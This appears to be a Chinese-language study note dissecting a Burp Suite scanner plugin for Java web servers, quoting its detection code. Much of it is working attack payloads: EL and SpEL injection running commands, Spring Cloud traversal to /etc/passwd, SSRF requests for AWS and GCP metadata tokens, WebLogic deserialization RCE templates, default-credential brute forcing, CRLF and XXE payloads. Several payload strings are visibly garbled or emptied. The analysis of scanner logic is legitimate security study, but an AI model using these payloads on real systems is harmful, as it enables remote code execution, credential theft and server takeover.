"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
match的是hostname?
private static final byte[] GREP_STRING_L = "java.lang.UNIXProcess".getBytes();
private static final byte[] GREP_STRING_W = "java.lang.ProcessImpl".getBytes();
上面的payload是直接反射取
下面这个是遍历取,有一点绕过的感觉,
byte[] rawRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[" + i + "].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}}", IParameter.PARAM_URL)
);
match一样
看着像是GET请求的XSS
PATH
private static final List<String> SNOOP_PATHS = Arrays.asList(
"/snoop.jsp?" + XSS_PAYLOAD,
"/examples/jsp/snp/snoop.jsp?" + XSS_PAYLOAD,
"/examples/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/j2ee/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/jsp-examples/snp/snoop.jsp?" + XSS_PAYLOAD
);
payload用的h1标签
private static final String XSS_PAYLOAD = "j2eescan"
;
有意思的是
match如果是
private static final byte[] GREP_STRING = "Path translated".getBytes();
则是低危
如果是
<h1>j2eescan";
就是中危
遍历Path
private static final List<String> SPRINGBOOT_ACTUATOR_PATHS = Arrays.asList(
"/health",
"/manager/health",
"/actuator",
"/actuator/jolokia/list",
"/jolokia/list",
"/env"
);
match这几个
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"{\"status\":\"UP\"}".getBytes(),
"{\"_links\":".getBytes(),
"org.spring".getBytes(),
"java.vendor".getBytes()
);
SpringBoot 的内存泄露吧,之前因为这个页面泄露了大量用户token能直接接管用户账号,所以也并不是他描述的low,需要实际去看。
首先POST换成PATCH(这里GET还不行?)
headers.set(0, firstHeader.replaceFirst("POST ", "PATCH "));
换个contenttype和accept
List<String> headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json");
List<String> headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*");
发送payload
String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]";
无回显的话payload可以用ping dns来match
2020年的洞
Spring Cloud Config的目录穿越,比较好构造
payload
private static final List<String> SPRINGCLOUD_TRAVERSALS = Arrays.asList(
"/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23"
);
match passwod就行
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
这是个spel表达式注入漏洞
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。
SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持,详情可查看SimpleEvaluationContext的实现。
payload
String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]=";
替换的方式是
String updatedBody = requestBody.replace("=", finalPayload);
Spring WebFlow 2.4.0 - 2.4.4
payload一把梭
String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()";
触发位置是提交表单。
地址:
private static final List<byte[]> SSRF_INJECTION_TESTS = Arrays.asList(
"gopher://localhost:22/".getBytes(),
"http://[::]:22/".getBytes(),
"ftp://[::]:22/".getBytes(),
"ftp://localhost:22/".getBytes(),
"ftp://0.0.0.0:22/".getBytes(),
"ftp://0177.0000.0000.0001:22".getBytes(),
"ftp://0x7f.1:22/".getBytes(),
"http://spoofed.burpcollaborator.net:22/".getBytes()
);
这是打本地的22端口
match就是
private static final byte[] GREP_STRING = "OpenSSH".getBytes();
然后就是访问云上各种元数据
private static final Map<byte[], Pattern> SSRF_CLOUD_INJECTION_TESTS = new HashMap<byte[], Pattern>() {
{
put("http://169.254.169.254/latest/meta-data/".getBytes(), Pattern.compile("identity-credentials", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token".getBytes(), Pattern.compile("token_type", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
这里注释给出了一些情况
*
* Source AWS
* http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
*
* http://169.254.169.254/latest/user-data
* http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLENAME]
* http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLENAME]
* http://169.254.169.254/latest/meta-data/ami-id
* http://169.254.169.254/latest/meta-data/reservation-id
* http://169.254.169.254/latest/meta-data/hostname
* http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
* http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
*
* # AWS - Dirs http://169.254.169.254/
* http://169.254.169.254/latest/meta-data/
* http://169.254.169.254/latest/meta-data/public-keys/
*
互联网上也有很多总结
http://cn-sec.com/archives/840191.html
payload
private static final List<String> STATUS_SERVLET_PATHS = Arrays.asList(
"/status?full=true",
"/web-console/status?full=true",
"/server-status?full=true"
);
如果是401
if (statusInfo.getStatusCode() == 401) {
则认为是存在登录接口
然后就是弱口令测试
WeakPasswordBruteforcer br = new WeakPasswordBruteforcer();
如果match到了200且有如下返回,说明存在不同类型服务信息泄露
private static final byte[] GREP_STRING_J2EE = "Status Servlet".getBytes();
private static final byte[] GREP_STRING_HTTPD = "Apache Server Status".getBytes();
tomcat管理后台泄露,比较常见了
private static final List<String> TOMCAT_HOST_MANAGER_PATHS = Arrays.asList(
"/host-manager/html?j2eescan"
);
爆破
同63
private static final List<String> TOMCAT_MANAGER_PATHS = Arrays.asList(
"/manager/html"
);
Jboss的问题
payload
private static final List<String> JBOSS_PATHS = Arrays.asList(
"/..\\\\standalone\\\\configuration\\\\standalone.xml"
);
match的是读取的xml
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
".getBytes()
);
未授权访问tomcat
private static final List<String> TOMCAT_URI_NORMALIZATIONS = Arrays.asList(
"..;/manager/html",
"..;/"
);
眼熟啊,shiro的未授权访问也是这么绕的
好像又是个crlf
payload
private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
match返回包
if (getResponseHeaderValue(responseInfo, "X-Injection") != null) {
payload
private static final List<String> WEBINF_PATHS = Arrays.asList(
"/WEB-INF./web.xml",
"//WEB-INF/web.xml",
"/WEB-INF/web.xml",
"/static/WEB-INF/web.xml", // CVE-2014-0053
"/forward:/WEB-INF/web.xml", // spring issue
"/web-inf./web.xml", // CVE-2016-0793 https://bugzilla.redhat.com/show_bug.cgi?id=1305937
"/.//WEB-INF/web.xml",
"/./WEB-INF/web.xml"
);
match
private static final byte[] GREP_STRING = ".getBytes();
任意文件读取也可以多尝试此类文件。
登录接口path
private static final List<String> WEBLOGIC_CONSOLE_PATHS = Arrays.asList(
"/console/login/LoginForm.jsp;ADMINCONSOLESESSION=TynPs0LnRt9BLctc13WMYmhQpsp3cG1LCNDp78TJyDfHMWhC4Kln!1225542286"
);
match
private static final List<byte[]> GREP_WEBLOGIC_STRINGS = Arrays.asList(
"BEA WebLogic Server Administration Console" .getBytes(),
"Oracle WebLogic Server Administration Console" .getBytes(),
"WebLogic Server" .getBytes()
);
说明存在爆破的可能
然后开始爆破
List<Map.Entry<String, String>> credentials = new ArrayList<>();
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic1"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic01"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "welcome1"));
比较粗糙,只尝试了4个弱口令和一个账号。
问题路径
private static final List<String> ASYNC_PATHS = Arrays.asList(
"/_async/AsyncResponseService"
);
payload
String serializedRce = " "
+ ""
+ "ONRaJntRjNYBc3MJW2JC "
+ "42PlWZ15ODi1hQ3pQ5Ol "
+ ""
+ ""
+ ""
+ ""
+ "/bin/bash "
+ ""
+ ""
+ "-c "
+ ""
+ ""
+ "ping -c 3 %s "
+ ""
+ ""
+ " "
+ ""
+ ""
+ ""
+ " "
+ "";
// Collaborator context
这是个RCE hw用的可能比较多
这个可以尝试的path就更多了
private static final List<String> WLS_WSAT_PATHS = Arrays.asList(
"/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"
);
payload
String serializedRce = ""
+ ""
+ ""
+ " "
+ " "
+ " http://%s "
+ " "
+ " "
+ " "
+ " "
+ " "
+ ""
+ ""
+ " "
+ "";
这也是RCE
path
private static final List<String> UDDI_PATHS = Arrays.asList(
"/uddiexplorer/"
);
match到这些
private static final List<byte[]> GREP_SSRF_STRINGS = Arrays.asList(
"could not connect over HTTP to server:".getBytes(),
"XML_SoapException: Connection refused".getBytes(),
"XML_SoapException: Received a response from url".getBytes()
);
说明存在SSRF
漏洞path
private static final List<String> WS_TEST_PAGES = Arrays.asList(
"/ws_utc/config.do"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"settings ".getBytes()
);
则存在漏洞
这是个任意文件上传的测试页面,不需要权限控制
payload一把锁
private static final List<byte[]> XINCLUDE_INJ_TESTS = Arrays.asList(
"" .getBytes());
payload
private static final String XXE_DTD_DEFINITION = "]>";
这是可回显的,看着像是通用性的一个插件
payload
private static final List<byte[]> XXE_INJECTION_TESTS = Arrays.asList(
"]>&xxe; ".getBytes(),
// https://twitter.com/Agarri_FR/status/656440244116574208
" %dtd;]> ]]>".getBytes()
);
一样的
一个是打did一个是直接解析回显
match
private static final List<Pattern> XXE_RE_MATCHES = Arrays.asList(
Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE),
Pattern.compile("file not found", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE),
Pattern.compile("java\\.io\\.FileNotFoundException", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
但通常打did不用file测试,用http协议会比较常见可以打DNSlog
Down